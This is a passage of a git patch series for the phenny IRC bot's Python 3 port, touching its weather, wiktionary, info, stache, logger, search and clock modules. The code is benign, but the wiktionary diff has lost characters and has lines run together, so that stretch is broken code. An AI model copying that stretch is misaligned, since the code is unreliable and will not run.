."""
+ if origin.sender == '#talis':
+ if args[0].startswith('.weather '): return
+
+ icao_code = match.group(2)
+ if not icao_code:
+ return self.msg(origin.sender, 'Try .weather London, for example?')
+
+ icao_code = code(self, icao_code)
+
+ if not icao_code:
+ self.msg(origin.sender, 'No ICAO code found, sorry')
+ return
+
+ uri = 'http://weather.noaa.gov/pub/data/observations/metar/stations/%s.TXT'
+ try: bytes = web.get(uri % icao_code)
+ except AttributeError:
+ raise GrumbleError('OH CRAP NOAA HAS GONE DOWN THE WEB IS BROKEN')
+ if 'Not Found' in bytes:
+ self.msg(origin.sender, icao_code+': no such ICAO code, or no NOAA data')
+ return
+
+ metar = bytes.splitlines().pop()
+ metar = metar.split(' ')
+
+ if len(metar[0]) == 4:
+ metar = metar[1:]
+
+ if metar[0].endswith('Z'):
+ time = metar[0]
+ metar = metar[1:]
+ else: time = None
+
+ if metar[0] == 'AUTO':
+ metar = metar[1:]
+ if metar[0] == 'VCU':
+ self.msg(origin.sender, icao_code + ': no data provided')
+ return
+
+ if metar[0].endswith('KT'):
+ wind = metar[0]
+ metar = metar[1:]
+ else: wind = None
+
+ if ('V' in metar[0]) and (metar[0] != 'CAVOK'):
+ vari = metar[0]
+ metar = metar[1:]
+ else: vari = None
+
+ if ((len(metar[0]) == 4) or
+ metar[0].endswith('SM')):
+ visibility = metar[0]
+ metar = metar[1:]
+ else: visibility = None
+
+ while metar[0].startswith('R') and (metar[0].endswith('L')
+ or 'L/' in metar[0]):
+ metar = metar[1:]
+
+ if len(metar[0]) == 6 and (metar[0].endswith('N') or
+ metar[0].endswith('E') or
+ metar[0].endswith('S') or
+ metar[0].endswith('W')):
+ metar = metar[1:] # 7000SE?
+
+ cond = []
+ while (((len(metar[0]) < 5) or
+ metar[0].startswith('+') or
+ metar[0].startswith('-')) and (not (metar[0].startswith('VV') or
+ metar[0].startswith('SKC') or metar[0].startswith('CLR') or
+ metar[0].startswith('FEW') or metar[0].startswith('SCT') or
+ metar[0].startswith('BKN') or metar[0].startswith('OVC')))):
+ cond.append(metar[0])
+ metar = metar[1:]
+
+ while '/P' in metar[0]:
+ metar = metar[1:]
+
+ if not metar:
+ self.msg(origin.sender, icao_code + ': no data provided')
+ return
+
+ cover = []
+ while (metar[0].startswith('VV') or metar[0].startswith('SKC') or
+ metar[0].startswith('CLR') or metar[0].startswith('FEW') or
+ metar[0].startswith('SCT') or metar[0].startswith('BKN') or
+ metar[0].startswith('OVC')):
+ cover.append(metar[0])
+ metar = metar[1:]
+ if not metar:
+ self.msg(origin.sender, icao_code + ': no data provided')
+ return
+
+ if metar[0] == 'CAVOK':
+ cover.append('CLR')
+ metar = metar[1:]
+
+ if metar[0] == 'PRFG':
+ cover.append('CLR') # @@?
+ metar = metar[1:]
+
+ if metar[0] == 'NSC':
+ cover.append('CLR')
+ metar = metar[1:]
+
+ if ('/' in metar[0]) or (len(metar[0]) == 5 and metar[0][2] == '.'):
+ temp = metar[0]
+ metar = metar[1:]
+ else: temp = None
+
+ if metar[0].startswith('QFE'):
+ metar = metar[1:]
+
+ if metar[0].startswith('Q') or metar[0].startswith('A'):
+ pressure = metar[0]
+ metar = metar[1:]
+ else: pressure = None
+
+ if time:
+ hour = time[2:4]
+ minute = time[4:6]
+ time = local(icao_code, hour, minute)
+ else: time = '(time unknown)'
+
+ if wind:
+ speed = int(wind[3:5])
+ if speed < 1:
+ description = 'Calm'
+ elif speed < 4:
+ description = 'Light air'
+ elif speed < 7:
+ description = 'Light breeze'
+ elif speed < 11:
+ description = 'Gentle breeze'
+ elif speed < 16:
+ description = 'Moderate breeze'
+ elif speed < 22:
+ description = 'Fresh breeze'
+ elif speed < 28:
+ description = 'Strong breeze'
+ elif speed < 34:
+ description = 'Near gale'
+ elif speed < 41:
+ description = 'Gale'
+ elif speed < 48:
+ description = 'Strong gale'
+ elif speed < 56:
+ description = 'Storm'
+ elif speed < 64:
+ description = 'Violent storm'
+ else: description = 'Hurricane'
+
+ degrees = float(wind[0:3])
+ #if degrees == 'VRB':
+ # degrees = '\u21BB'
+ if (degrees <= 22.5) or (degrees > 337.5):
+ degrees = '\u2191'
+ elif (degrees > 22.5) and (degrees <= 67.5):
+ degrees = '\u2197'
+ elif (degrees > 67.5) and (degrees <= 112.5):
+ degrees = '\u2192'
+ elif (degrees > 112.5) and (degrees <= 157.5):
+ degrees = '\u2198'
+ elif (degrees > 157.5) and (degrees <= 202.5):
+ degrees = '\u2193'
+ elif (degrees > 202.5) and (degrees <= 247.5):
+ degrees = '\u2199'
+ elif (degrees > 247.5) and (degrees <= 292.5):
+ degrees = '\u2190'
+ elif (degrees > 292.5) and (degrees <= 337.5):
+ degrees = '\u2196'
+
+ if not icao_code.startswith('EN') and not icao_code.startswith('ED'):
+ wind = '%s %skt (%s)' % (description, speed, degrees)
+ elif icao_code.startswith('ED'):
+ kmh = int(round(speed * 1.852, 0))
+ wind = '%s %skm/h (%skt) (%s)' % (description, kmh, speed, degrees)
+ elif icao_code.startswith('EN'):
+ ms = int(round(speed * 0.514444444, 0))
+ wind = '%s %sm/s (%skt) (%s)' % (description, ms, speed, degrees)
+ else: wind = '(wind unknown)'
+
+ if visibility:
+ visibility = visibility + 'm'
+ else: visibility = '(visibility unknown)'
+
+ if cover:
+ level = None
+ for c in cover:
+ if c.startswith('OVC') or c.startswith('VV'):
+ if (level is None) or (level < 8):
+ level = 8
+ elif c.startswith('BKN'):
+ if (level is None) or (level < 5):
+ level = 5
+ elif c.startswith('SCT'):
+ if (level is None) or (level < 3):
+ level = 3
+ elif c.startswith('FEW'):
+ if (level is None) or (level < 1):
+ level = 1
+ elif c.startswith('SKC') or c.startswith('CLR'):
+ if level is None:
+ level = 0
+
+ if level == 8:
+ cover = 'Overcast \u2601'
+ elif level == 5:
+ cover = 'Cloudy'
+ elif level == 3:
+ cover = 'Scattered'
+ elif (level == 1) or (level == 0):
+ cover = 'Clear \u263C'
+ else: cover = 'Cover Unknown'
+ else: cover = 'Cover Unknown'
+
+ if temp:
+ if '/' in temp:
+ temp = temp.split('/')[0]
+ else: temp = temp.split('.')[0]
+ if temp.startswith('M'):
+ temp = '-' + temp[1:]
+ try: temp = int(temp)
+ except ValueError: temp = '?'
+ else: temp = '?'
+
+ if pressure:
+ if pressure.startswith('Q'):
+ pressure = pressure.lstrip('Q')
+ if pressure != 'NIL':
+ pressure = str(int(pressure)) + 'mb'
+ else: pressure = '?mb'
+ elif pressure.startswith('A'):
+ pressure = pressure.lstrip('A')
+ if pressure != 'NIL':
+ inches = pressure[:2] + '.' + pressure[2:]
+ mb = int(float(inches) * 33.7685)
+ pressure = '%sin (%smb)' % (inches, mb)
+ else: pressure = '?mb'
+
+ if isinstance(temp, int):
+ f = round((temp * 1.8) + 32, 2)
+ temp = '%s\u2109 (%s\u2103)' % (f, temp)
+ else: pressure = '?mb'
+ if isinstance(temp, int):
+ temp = '%s\u2103' % temp
+
+ if cond:
+ conds = cond
+ cond = ''
+
+ intensities = {
+ '-': 'Light',
+ '+': 'Heavy'
+ }
+
+ descriptors = {
+ 'MI': 'Shallow',
+ 'PR': 'Partial',
+ 'BC': 'Patches',
+ 'DR': 'Drifting',
+ 'BL': 'Blowing',
+ 'SH': 'Showers of',
+ 'TS': 'Thundery',
+ 'FZ': 'Freezing',
+ 'VC': 'In the vicinity:'
+ }
+
+ phenomena = {
+ 'DZ': 'Drizzle',
+ 'RA': 'Rain',
+ 'SN': 'Snow',
+ 'SG': 'Snow Grains',
+ 'IC': 'Ice Crystals',
+ 'PL': 'Ice Pellets',
+ 'GR': 'Hail',
+ 'GS': 'Small Hail',
+ 'UP': 'Unknown Precipitation',
+ 'BR': 'Mist',
+ 'FG': 'Fog',
+ 'FU': 'Smoke',
+ 'VA': 'Volcanic Ash',
+ 'DU': 'Dust',
+ 'SA': 'Sand',
+ 'HZ': 'Haze',
+ 'PY': 'Spray',
+ 'PO': 'Whirls',
+ 'SQ': 'Squalls',
+ 'FC': 'Tornado',
+ 'SS': 'Sandstorm',
+ 'DS': 'Duststorm',
+ # ? Cf. http://swhack.com/logs/2007-10-05#T07-58-56
+ 'TS': 'Thunderstorm',
+ 'SH': 'Showers'
+ }
+
+ for c in conds:
+ if c.endswith('//'):
+ if cond: cond += ', '
+ cond += 'Some Precipitation'
+ elif len(c) == 5:
+ intensity = intensities[c[0]]
+ descriptor = descriptors[c[1:3]]
+ phenomenon = phenomena.get(c[3:], c[3:])
+ if cond: cond += ', '
+ cond += intensity + ' ' + descriptor + ' ' + phenomenon
+ elif len(c) == 4:
+ descriptor = descriptors.get(c[:2], c[:2])
+ phenomenon = phenomena.get(c[2:], c[2:])
+ if cond: cond += ', '
+ cond += descriptor + ' ' + phenomenon
+ elif len(c) == 3:
+ intensity = intensities.get(c[0], c[0])
+ phenomenon = phenomena.get(c[1:], c[1:])
+ if cond: cond += ', '
+ cond += intensity + ' ' + phenomenon
+ elif len(c) == 2:
+ phenomenon = phenomena.get(c, c)
+ if cond: cond += ', '
+ cond += phenomenon
+
+ # if not cond:
+ # format = u'%s at %s: %s, %s, %s, %s'
+ # args = (icao, time, cover, temp, pressure, wind)
+ # else:
+ # format = u'%s at %s: %s, %s, %s, %s, %s'
+ # args = (icao, time, cover, temp, pressure, cond, wind)
+
+ if not cond:
+ format = '%s, %s, %s, %s - %s %s'
+ args = (cover, temp, pressure, wind, str(icao_code), time)
+ else:
+ format = '%s, %s, %s, %s, %s - %s, %s'
+ args = (cover, temp, pressure, cond, wind, str(icao_code), time)
+
+ self.msg(origin.sender, format % args)
f_weather.rule = (['weather'], r'(.*)')
if __name__ == '__main__':
- print(__doc__.strip())
+ print(__doc__.strip())
diff --git a/modules/wiktionary.py b/modules/wiktionary.py
index cae160b90..fb066f87a 100644
--- a/modules/wiktionary.py
+++ b/modules/wiktionary.py
@@ -15,86 +15,86 @@
r_ul = re.compile(r'(?ims)')
def text(html):
- text = r_tag.sub('', html).strip()
- text = text.replace('\n', ' ')
- text = text.replace('\r', '')
- text = text.replace('(intransitive', '(intr.')
- text = text.replace('(transitive', '(trans.')
- return text
+ text = r_tag.sub('', html).strip()
+ text = text.replace('\n', ' ')
+ text = text.replace('\r', '')
+ text = text.replace('(intransitive', '(intr.')
+ text = text.replace('(transitive', '(trans.')
+ return text
def wiktionary(word):
- bytes = web.get(uri % web.quote(word))
- bytes = r_ul.sub('', bytes)
+ bytes = web.get(uri % web.quote(word))
+ bytes = r_ul.sub('', bytes)
- mode = None
- etymology = None
- definitions = {}
- for line in bytes.splitlines():
- if 'id="Etymology"' in line:
- mode = 'etymology'
- elif 'id="Noun"' in line:
- mode = 'noun'
- elif 'id="Verb"' in line:
- mode = 'verb'
- elif 'id="Adjective"' in line:
- mode = 'adjective'
- elif 'id="Adverb"' in line:
- mode = 'adverb'
- elif 'id="Interjection"' in line:
- mode = 'interjection'
- elif 'id="Particle"' in line:
- mode = 'particle'
- elif 'id="Preposition"' in line:
- mode = 'preposition'
- elif 'id="' in line:
- mode = None
+ mode = None
+ etymology = None
+ definitions = {}
+ for line in bytes.splitlines():
+ if 'id="Etymology"' in line:
+ mode = 'etymology'
+ elif 'id="Noun"' in line:
+ mode = 'noun'
+ elif 'id="Verb"' in line:
+ mode = 'verb'
+ elif 'id="Adjective"' in line:
+ mode = 'adjective'
+ elif 'id="Adverb"' in line:
+ mode = 'adverb'
+ elif 'id="Interjection"' in line:
+ mode = 'interjection'
+ elif 'id="Particle"' in line:
+ mode = 'particle'
+ elif 'id="Preposition"' in line:
+ mode = 'preposition'
+ elif 'id="' in line:
+ mode = None
- elif (mode == 'etmyology') and ('' in line):
- etymology = text(line)
- elif (mode is not None) and ('
' in line):
- definitions.setdefault(mode, []).append(text(line))
+ elif (mode == 'etmyology') and ('' in line):
+ etymology = text(line)
+ elif (mode is not None) and ('
' in line):
+ definitions.setdefault(mode, []).append(text(line))
- if '
300:
- result = result[:295] + '[...]'
- phenny.say(result)
+ if len(result) > 300:
+ result = result[:295] + '[...]'
+ phenny.say(result)
w.commands = ['w']
w.example = '.w bailiwick'
def encarta(phenny, input):
- return phenny.reply('Microsoft removed Encarta, try .w instead!')
+ return phenny.reply('Microsoft removed Encarta, try .w instead!')
encarta.commands = ['dict']
if __name__ == '__main__':
- print(__doc__.strip())
+ print(__doc__.strip())
From 7ded434a61e941a69b88579ef7aec1442a19e0b8 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Tue, 3 Jan 2012 14:27:55 -0500
Subject: [PATCH 136/415] tweak info and wadsworth module formatting
---
modules/info.py | 110 +++++++++++++++++++++----------------------
modules/wadsworth.py | 1 -
2 files changed, 55 insertions(+), 56 deletions(-)
diff --git a/modules/info.py b/modules/info.py
index a72c2da07..820069298 100644
--- a/modules/info.py
+++ b/modules/info.py
@@ -8,84 +8,84 @@
"""
def doc(phenny, input):
- """Shows a command's documentation, and possibly an example."""
- name = input.group(1)
- name = name.lower()
+ """Shows a command's documentation, and possibly an example."""
+ name = input.group(1)
+ name = name.lower()
- if name in phenny.doc:
- phenny.reply(phenny.doc[name][0])
- if phenny.doc[name][1]:
- phenny.say('e.g. ' + phenny.doc[name][1])
+ if name in phenny.doc:
+ phenny.reply(phenny.doc[name][0])
+ if phenny.doc[name][1]:
+ phenny.say('e.g. ' + phenny.doc[name][1])
doc.rule = ('$nick', '(?i)(?:help|doc) +([A-Za-z]+)(?:\?+)?$')
doc.example = '$nickname: doc tell?'
doc.priority = 'low'
def commands(phenny, input):
- # This function only works in private message
- if input.sender.startswith('#'): return
- names = ', '.join(sorted(phenny.doc.keys()))
- phenny.say('Commands I recognise: ' + names + '.')
- phenny.say(("For help, do '%s: help example?' where example is the " +
- "name of the command you want help for.") % phenny.nick)
+ # This function only works in private message
+ if input.sender.startswith('#'): return
+ names = ', '.join(sorted(phenny.doc.keys()))
+ phenny.say('Commands I recognise: ' + names + '.')
+ phenny.say(("For help, do '%s: help example?' where example is the " +
+ "name of the command you want help for.") % phenny.nick)
commands.commands = ['commands']
commands.priority = 'low'
def help(phenny, input):
- response = (
- "Hey there, I'm a friendly bot for this channel. Say \".commands\" " +
- "to me in private for a list of my commands or check out my wiki " +
- "page at %s. My owner is %s."
- ) % (phenny.config.helpurl, phenny.config.owner)
- #phenny.reply(response)
- phenny.say(response)
+ response = (
+ "Hey there, I'm a friendly bot for this channel. Say \".commands\" " +
+ "to me in private for a list of my commands or check out my wiki " +
+ "page at %s. My owner is %s."
+ ) % (phenny.config.helpurl, phenny.config.owner)
+ #phenny.reply(response)
+ phenny.say(response)
#help.rule = ('$nick', r'(?i)help(?:[?!]+)?$')
help.commands = ['help']
help.priority = 'low'
def stats(phenny, input):
- """Show information on command usage patterns."""
- commands = {}
- users = {}
- channels = {}
+ """Show information on command usage patterns."""
+ commands = {}
+ users = {}
+ channels = {}
- ignore = set(['f_note', 'startup', 'message', 'noteuri'])
- for (name, user), count in list(phenny.stats.items()):
- if name in ignore: continue
- if not user: continue
+ ignore = set(['f_note', 'startup', 'message', 'noteuri'])
+ for (name, user), count in list(phenny.stats.items()):
+ if name in ignore: continue
+ if not user: continue
- if not user.startswith('#'):
- try: users[user] += count
- except KeyError: users[user] = count
- else:
- try: commands[name] += count
- except KeyError: commands[name] = count
+ if not user.startswith('#'):
+ try: users[user] += count
+ except KeyError: users[user] = count
+ else:
+ try: commands[name] += count
+ except KeyError: commands[name] = count
- try: channels[user] += count
- except KeyError: channels[user] = count
+ try: channels[user] += count
+ except KeyError: channels[user] = count
- comrank = sorted([(b, a) for (a, b) in commands.items()], reverse=True)
- userank = sorted([(b, a) for (a, b) in users.items()], reverse=True)
- charank = sorted([(b, a) for (a, b) in channels.items()], reverse=True)
+ comrank = sorted([(b, a) for (a, b) in commands.items()], reverse=True)
+ userank = sorted([(b, a) for (a, b) in users.items()], reverse=True)
+ charank = sorted([(b, a) for (a, b) in channels.items()], reverse=True)
- # most heavily used commands
- creply = 'most used commands: '
- for count, command in comrank[:10]:
- creply += '%s (%s), ' % (command, count)
- phenny.say(creply.rstrip(', '))
+ # most heavily used commands
+ creply = 'most used commands: '
+ for count, command in comrank[:10]:
+ creply += '%s (%s), ' % (command, count)
+ phenny.say(creply.rstrip(', '))
- # most heavy users
- reply = 'power users: '
- for count, user in userank[:10]:
- reply += '%s (%s), ' % (user, count)
- phenny.say(reply.rstrip(', '))
+ # most heavy users
+ reply = 'power users: '
+ for count, user in userank[:10]:
+ reply += '%s (%s), ' % (user, count)
+ phenny.say(reply.rstrip(', '))
- # most heavy channels
- chreply = 'power channels: '
- for count, channel in charank[:3]:
- chreply += '%s (%s), ' % (channel, count)
- phenny.say(chreply.rstrip(', '))
+ # most heavy channels
+ chreply = 'power channels: '
+ for count, channel in charank[:3]:
+ chreply += '%s (%s), ' % (channel, count)
+ phenny.say(chreply.rstrip(', '))
stats.commands = ['stats']
stats.priority = 'low'
if __name__ == '__main__':
- print(__doc__.strip())
+ print(__doc__.strip())
diff --git a/modules/wadsworth.py b/modules/wadsworth.py
index b282daab6..36b531909 100644
--- a/modules/wadsworth.py
+++ b/modules/wadsworth.py
@@ -14,4 +14,3 @@ def wadsworth(phenny, input):
if __name__ == '__main__':
print(__doc__.strip())
-
From 2a809e185e8e90b47f23b92c0c8bfb073b23d911 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Tue, 3 Jan 2012 14:30:14 -0500
Subject: [PATCH 137/415] update readme
---
README.md | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index d18a8a216..600c1093a 100644
--- a/README.md
+++ b/README.md
@@ -4,14 +4,14 @@ phenny
This is an experimental port of phenny, a Python IRC bot, to Python3. Do not
expect it to work well or at all yet.
-Support for IPv6 has been added, and SSL support is in the works.
+Support for IPv6 and SSL has been added. It appears that SSL support requires
+Python 3.2.
Compatibility with existing phenny modules has been mostly retained, but they
will need to be updated to run on Python3 if they do not already.
Installation
------------
-
1. Run `./phenny` - this creates a default config file
2. Edit `~/.phenny/default.py`
3. Run `./phenny` - this now runs phenny with your settings
From 585523cf7b173db446014ba4e055511ce1b55975 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Tue, 3 Jan 2012 14:54:26 -0500
Subject: [PATCH 138/415] add stache module
---
modules/stache.py | 16 ++++++++++++++++
1 file changed, 16 insertions(+)
create mode 100644 modules/stache.py
diff --git a/modules/stache.py b/modules/stache.py
new file mode 100644
index 000000000..e012ab35f
--- /dev/null
+++ b/modules/stache.py
@@ -0,0 +1,16 @@
+#!/usr/bin/python3
+"""
+stache.py - mustachify.me module
+author: mutantmonkey
+"""
+
+import web
+
+def stache(phenny, input):
+ """.stache - Mustachify an image."""
+ url = input.group(2)
+ phenny.reply('http://mustachify.me/?src=' + web.quote(url))
+stache.rule = (['stache'], r'(.*)')
+
+if __name__ == '__main__':
+ print(__doc__.strip())
From e21b2f6ec76277ee141a42207b4e5d1384fbd270 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Tue, 3 Jan 2012 15:02:57 -0500
Subject: [PATCH 139/415] stache: fix case when no image is provided
---
modules/stache.py | 8 +++++++-
1 file changed, 7 insertions(+), 1 deletion(-)
diff --git a/modules/stache.py b/modules/stache.py
index e012ab35f..6c20d2775 100644
--- a/modules/stache.py
+++ b/modules/stache.py
@@ -1,4 +1,5 @@
#!/usr/bin/python3
+# -*- coding: utf-8 -*-
"""
stache.py - mustachify.me module
author: mutantmonkey
@@ -9,8 +10,13 @@
def stache(phenny, input):
""".stache - Mustachify an image."""
url = input.group(2)
+ if not url:
+ phenny.reply("Please provide an image to Mustachify™.")
+ return
+
phenny.reply('http://mustachify.me/?src=' + web.quote(url))
-stache.rule = (['stache'], r'(.*)')
+stache.rule = (['stache'],
+ '(https?:\/\/[^ #]+\.(?:png|jpg|jpeg))(?:[#]\.png)?')
if __name__ == '__main__':
print(__doc__.strip())
From f7d3b5f6256358e6ccef51e9926214e13cea676a Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Mon, 6 Feb 2012 22:58:53 -0500
Subject: [PATCH 140/415] potential fix for unicode crash
---
irc.py | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/irc.py b/irc.py
index 048fa8759..fab33d8f2 100755
--- a/irc.py
+++ b/irc.py
@@ -126,7 +126,10 @@ def found_terminator(self):
line = line[:-1]
self.buffer = b''
- line = line.decode('utf-8')
+ try:
+ line = line.decode('utf-8')
+ except UnicodeDecodeError:
+ line = line.decode('iso-8859-1')
if line.startswith(':'):
source, line = line[1:].split(' ', 1)
From 3d41e2f1d95dea62d49c1c0247da07f94cd993d3 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Fri, 10 Feb 2012 19:10:34 -0500
Subject: [PATCH 141/415] fix clock and startup modules
---
modules/clock.py | 4 +--
modules/startup.py | 70 +++++++++++++++++++++++-----------------------
2 files changed, 37 insertions(+), 37 deletions(-)
diff --git a/modules/clock.py b/modules/clock.py
index adb6ce392..cf69f0df9 100644
--- a/modules/clock.py
+++ b/modules/clock.py
@@ -281,7 +281,7 @@ def tock(phenny, input):
tock.priority = 'high'
def npl(phenny, input):
- """Shows the time from NPL's SNTP server."""
+ """Shows the time from NPL's SNTP server."""
# for server in ('ntp1.npl.co.uk', 'ntp2.npl.co.uk'):
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto('\x1b' + 47 * '\0', ('ntp1.npl.co.uk', 123))
@@ -291,7 +291,7 @@ def npl(phenny, input):
d = dec('0.0')
for i in range(8):
d += dec(buf[32 + i]) * dec(str(math.pow(2, (3 - i) * 8)))
- d -= dec(2208988800L)
+ d -= dec(2208988800)
a, b = str(d).split('.')
f = '%Y-%m-%d %H:%M:%S'
result = datetime.datetime.fromtimestamp(d).strftime(f) + '.' + b[:6]
diff --git a/modules/startup.py b/modules/startup.py
index 77b6c15ff..fdc0d4fe6 100644
--- a/modules/startup.py
+++ b/modules/startup.py
@@ -10,47 +10,47 @@
import threading, time
def setup(phenny):
- # by clsn
- phenny.data = {}
- refresh_delay = 300.0
+ # by clsn
+ phenny.data = {}
+ refresh_delay = 300.0
- if hasattr(phenny.config, 'refresh_delay'):
- try: refresh_delay = float(phenny.config.refresh_delay)
- except: pass
+ if hasattr(phenny.config, 'refresh_delay'):
+ try: refresh_delay = float(phenny.config.refresh_delay)
+ except: pass
- def close():
- print "Nobody PONGed our PING, restarting"
- phenny.handle_close()
+ def close():
+ print("Nobody PONGed our PING, restarting")
+ phenny.handle_close()
- def pingloop():
- timer = threading.Timer(refresh_delay, close, ())
- phenny.data['startup.setup.timer'] = timer
- phenny.data['startup.setup.timer'].start()
- # print "PING!"
- phenny.write(('PING', phenny.config.host))
- phenny.data['startup.setup.pingloop'] = pingloop
+ def pingloop():
+ timer = threading.Timer(refresh_delay, close, ())
+ phenny.data['startup.setup.timer'] = timer
+ phenny.data['startup.setup.timer'].start()
+ # print "PING!"
+ phenny.write(('PING', phenny.config.host))
+ phenny.data['startup.setup.pingloop'] = pingloop
- def pong(phenny, input):
- try:
- # print "PONG!"
- phenny.data['startup.setup.timer'].cancel()
- time.sleep(refresh_delay + 60.0)
- pingloop()
- except: pass
- pong.event = 'PONG'
- pong.thread = True
- pong.rule = r'.*'
- phenny.variables['pong'] = pong
+ def pong(phenny, input):
+ try:
+ # print "PONG!"
+ phenny.data['startup.setup.timer'].cancel()
+ time.sleep(refresh_delay + 60.0)
+ pingloop()
+ except: pass
+ pong.event = 'PONG'
+ pong.thread = True
+ pong.rule = r'.*'
+ phenny.variables['pong'] = pong
- # Need to wrap handle_connect to start the loop.
- inner_handle_connect = phenny.handle_connect
+ # Need to wrap handle_connect to start the loop.
+ inner_handle_connect = phenny.handle_connect
- def outer_handle_connect():
- inner_handle_connect()
- if phenny.data.get('startup.setup.pingloop'):
- phenny.data['startup.setup.pingloop']()
-
- phenny.handle_connect = outer_handle_connect
+ def outer_handle_connect():
+ inner_handle_connect()
+ if phenny.data.get('startup.setup.pingloop'):
+ phenny.data['startup.setup.pingloop']()
+
+ phenny.handle_connect = outer_handle_connect
def startup(phenny, input):
if hasattr(phenny.config, 'serverpass'):
From 410d72172fdf40db7969ad44828150c381e752de Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Fri, 10 Feb 2012 19:11:04 -0500
Subject: [PATCH 142/415] add logger module
---
modules/logger.py | 67 +++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 67 insertions(+)
create mode 100644 modules/logger.py
diff --git a/modules/logger.py b/modules/logger.py
new file mode 100644
index 000000000..2d7cc0ee7
--- /dev/null
+++ b/modules/logger.py
@@ -0,0 +1,67 @@
+#!/usr/bin/python3
+"""
+logger.py - logger for privacy-protecting IRC stats
+author: mutantmonkey
+"""
+
+import os
+import random
+import sqlite3
+
+def setup(self):
+ fn = self.nick + '-' + self.config.host + '.logger.db'
+ self.logger_db = os.path.join(os.path.expanduser('~/.phenny'), fn)
+ self.logger_conn = sqlite3.connect(self.logger_db)
+
+ c = self.logger_conn.cursor()
+ c.execute('''create table if not exists lines_by_nick (
+ channel varchar(255),
+ nick varchar(255),
+ lines unsigned big int not null default 0,
+ characters unsigned big int not null default 0,
+ last_time timestamp default CURRENT_TIMESTAMP,
+ quote text,
+ unique (channel, nick) on conflict replace
+ );''')
+
+def logger(phenny, input):
+ if not logger.conn:
+ logger.conn = sqlite3.connect(phenny.logger_db)
+
+ sqlite_data = {
+ 'channel': input.sender,
+ 'nick': input.nick,
+ 'msg': input.group(1),
+ 'chars': len(input.group(1)),
+ }
+
+ c = logger.conn.cursor()
+ c.execute('''insert or replace into lines_by_nick
+ (channel, nick, lines, characters, last_time, quote)
+ values(
+ :channel,
+ :nick,
+ coalesce((select lines from lines_by_nick where
+ channel=:channel and nick=:nick) + 1, 1),
+ coalesce((select characters from lines_by_nick where
+ channel=:channel and nick=:nick) + :chars, :chars),
+ CURRENT_TIMESTAMP,
+ coalesce((select quote from lines_by_nick where
+ channel=:channel and nick=:nick), :msg)
+ );''', sqlite_data)
+ c.close()
+
+ if random.randint(0, 20) == 10 and not input.group(1)[:8] == '\x01ACTION ':
+ c = logger.conn.cursor()
+ c.execute('update lines_by_nick set quote=:msg where channel=:channel \
+ and nick=:nick', sqlite_data)
+ c.close()
+
+ logger.conn.commit()
+logger.conn = None
+logger.priority = 'low'
+logger.rule = r'(.*)'
+logger.thread = False
+
+if __name__ == '__main__':
+ print(__doc__.strip())
From 5423fc2edd8dc685006b7bc0f59569d2b55d1416 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Fri, 10 Feb 2012 19:21:37 -0500
Subject: [PATCH 143/415] log action messages too
---
modules/logger.py | 6 +++++-
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/modules/logger.py b/modules/logger.py
index 2d7cc0ee7..88e4c6dbb 100644
--- a/modules/logger.py
+++ b/modules/logger.py
@@ -35,6 +35,10 @@ def logger(phenny, input):
'chars': len(input.group(1)),
}
+ # format action messages
+ if sqlite_data['msg'][:8] == '\x01ACTION ':
+ sqlite_data['msg'] = '* {0} {1}'.format(sqlite_data['nick'], sqlite_data['msg'][8:-1])
+
c = logger.conn.cursor()
c.execute('''insert or replace into lines_by_nick
(channel, nick, lines, characters, last_time, quote)
@@ -51,7 +55,7 @@ def logger(phenny, input):
);''', sqlite_data)
c.close()
- if random.randint(0, 20) == 10 and not input.group(1)[:8] == '\x01ACTION ':
+ if random.randint(0, 20) == 10:
c = logger.conn.cursor()
c.execute('update lines_by_nick set quote=:msg where channel=:channel \
and nick=:nick', sqlite_data)
From 8a33dabb3ed47609aab5411220acfd687d490b67 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Fri, 10 Feb 2012 21:11:04 -0500
Subject: [PATCH 144/415] fix search module
---
modules/search.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/modules/search.py b/modules/search.py
index af37d48c2..39b136d6c 100644
--- a/modules/search.py
+++ b/modules/search.py
@@ -20,7 +20,7 @@ def http_error_default(self, url, fp, errcode, errmsg, headers):
def google_ajax(query):
"""Search using AjaxSearch, and return its JSON."""
- if isinstance(query, unicode):
+ if isinstance(query, str):
query = query.encode('utf-8')
uri = 'http://ajax.googleapis.com/ajax/services/search/web'
args = '?v=1.0&safe=off&q=' + web.urllib.quote(query)
From fdf53d578f46c61bd524a932392a0d0fec735cf6 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Fri, 10 Feb 2012 21:13:43 -0500
Subject: [PATCH 145/415] actually fix search module
---
modules/search.py | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/modules/search.py b/modules/search.py
index 39b136d6c..88fdff434 100644
--- a/modules/search.py
+++ b/modules/search.py
@@ -23,11 +23,11 @@ def google_ajax(query):
if isinstance(query, str):
query = query.encode('utf-8')
uri = 'http://ajax.googleapis.com/ajax/services/search/web'
- args = '?v=1.0&safe=off&q=' + web.urllib.quote(query)
- handler = web.urllib._urlopener
- web.urllib._urlopener = Grab()
+ args = '?v=1.0&safe=off&q=' + web.quote(query)
+ handler = web.urllib.request._urlopener
+ web.urllib.request._urlopener = Grab()
bytes = web.get(uri + args)
- web.urllib._urlopener = handler
+ web.urllib.request._urlopener = handler
return web.json(bytes)
def google_search(query):
From e1a36026fd34cb5ddf563b5993b9e54550dedde6 Mon Sep 17 00:00:00 2001
From: mutantmonkey
Date: Fri, 10 Feb 2012 22:02:53 -0500
Subject: [PATCH 146/415] fix .npl
---
modules/clock.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/modules/clock.py b/modules/clock.py
index cf69f0df9..82c30475a 100644
--- a/modules/clock.py
+++ b/modules/clock.py
@@ -284,7 +284,7 @@ def npl(phenny, input):
